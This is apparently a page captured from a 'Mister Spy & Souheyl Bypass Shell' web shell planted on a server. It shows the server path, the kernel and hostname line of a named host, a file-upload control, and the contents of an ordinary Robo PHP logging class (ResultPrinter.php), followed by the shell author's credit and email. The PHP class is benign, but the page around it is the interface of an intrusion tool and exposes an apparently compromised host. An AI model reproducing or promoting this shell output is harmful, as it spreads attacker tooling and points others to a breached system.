Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/consolidation/robo/src/Log/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/consolidation/robo/src/Log/ResultPrinter.php

<?php

namespace Robo\Log;

use Robo\Log\RoboLogLevel;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerAwareTrait;
use Psr\Log\LogLevel;
use Robo\Common\ProgressIndicatorAwareTrait;
use Robo\Contract\OutputAwareInterface;
use Robo\Contract\PrintedInterface;
use Robo\Contract\ProgressIndicatorAwareInterface;
use Robo\Contract\VerbosityThresholdInterface;
use Robo\Result;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * Log the creation of Result objects.
 */
class ResultPrinter implements LoggerAwareInterface, ProgressIndicatorAwareInterface, OutputAwareInterface
{
    use LoggerAwareTrait;
    use ProgressIndicatorAwareTrait;

    public function setOutput(OutputInterface $output)
    {
        $this->logger->setErrorStream(null);
        $this->logger->setOutputStream($output);
    }

    /**
     * Log the result of a Robo task.
     *
     * Returns 'true' if the message is printed, or false if it isn't.
     *
     * @param \Robo\Result $result
     *
     * @return null|bool
     */
    public function printResult(Result $result)
    {
        $task = $result->getTask();
        if ($task instanceof VerbosityThresholdInterface && !$task->verbosityMeetsThreshold()) {
            return;
        }
        if (!$result->wasSuccessful()) {
            return $this->printError($result);
        } else {
            return $this->printSuccess($result);
        }
    }

    /**
     * Log that we are about to abort due to an error being encountered
     * in 'stop on fail' mode.
     *
     * @param \Robo\Result $result
     */
    public function printStopOnFail($result)
    {
        $this->printMessage(LogLevel::NOTICE, 'Stopping on fail. Exiting....');
        $this->printMessage(LogLevel::ERROR, 'Exit Code: {code}', ['code' => $result->getExitCode()]);
    }

    /**
     * Log the result of a Robo task that returned an error.
     *
     * @param \Robo\Result $result
     *
     * @return bool
     */
    protected function printError(Result $result)
    {
        $task = $result->getTask();
        $context = $result->getContext() + ['timer-label' => 'Time', '_style' => []];
        $context['_style']['message'] = '';

        $printOutput = true;
        if ($task instanceof PrintedInterface) {
            $printOutput = !$task->getPrinted();
        }
        if ($printOutput) {
            $this->printMessage(LogLevel::ERROR, "{message}", $context);
        }
        $this->printMessage(LogLevel::ERROR, 'Exit code {code}', $context);
        return true;
    }

    /**
     * Log the result of a Robo task that was successful.
     *
     * @param \Robo\Result $result
     *
     * @return bool
     */
    protected function printSuccess(Result $result)
    {
        $task = $result->getTask();
        $context = $result->getContext() + ['timer-label' => 'in'];
        $time = $result->getExecutionTime();
        if ($time) {
            $this->printMessage(RoboLogLevel::SUCCESS, 'Done', $context);
        }
        return false;
    }

    /**
     * @param string $level
     * @param string $message
     * @param array $context
     */
    protected function printMessage($level, $message, $context = [])
    {
        $inProgress = $this->hideProgressIndicator();
        $this->logger->log($level, $message, $context);
        if ($inProgress) {
            $this->restoreProgressIndicator($inProgress);
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net